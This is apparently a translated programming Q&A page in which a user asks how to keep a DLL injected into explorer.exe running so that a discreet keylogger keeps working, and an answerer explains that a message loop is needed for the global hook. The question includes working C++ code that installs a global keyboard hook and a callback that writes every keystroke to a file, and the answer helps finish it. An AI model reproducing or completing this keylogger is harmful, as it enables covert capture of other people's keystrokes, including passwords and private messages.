在explorer.exe上注入的DLL中的无限循环

时间:2014-10-27 13:38:10

标签: c++ windows dll-injection

我正在尝试在Windows 7上创建一个键盘记录器。为此,我创建了一个我在explorer.exe的新线程中注入的Dll(setHook.dll)。在第一个DLL中,我打开另一个dll,其中包含在每个键盘输入上调用的函数(hookfunc)。

我需要让我的Dll在后台工作,因为如果它死了,我就失去了我的Hook功能。 为此,我尝试过:

  • Sleep(INFINITE);:工作片刻但是explorer.exe崩溃
  • while(1);:工作片刻但是explorer.exe崩溃
  • system("pause"):工作!但我不希望屏幕上出现控制台,我的键盘记录器必须谨慎。
  • getchar():与system("pause")相同;
  • system("pause > null");:拒绝访问
  • this_thread::sleep_for(chrono::seconds(10)):资源管理器崩溃

SetHook.dll:

BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;

    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}

CallbackFunc:(我觉得它不会有帮助)

LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
    std::ofstream file;
    WORD buf = 0;
    BYTE KeyState[256];
    file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
    if (code >= 0 && KEYUP(lParam))
    {
        if (wParam == VK_RETURN)
            file << "[ENTER]";
        else
        {
            GetKeyboardState(KeyState);
            ToAscii(wParam, lParam, KeyState, &buf, 0);
            file << (char)buf;
        }
    }
    file.close();
    return (CallNextHookEx(NULL, code, wParam, lParam));
}

代码有效,我只需要一个谨慎的无限循环而不是Sleep(INFINITE)。有什么想法吗?

1 个答案:

答案 0 :(得分:2)

在DllMain睡觉几乎肯定是个坏主意。

我假设您正在尝试安装global hook。为此,您需要在注入器应用程序中运行message loop,例如:

while(GetMessage(&msg, NULL, 0, 0 ))
{ 
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
}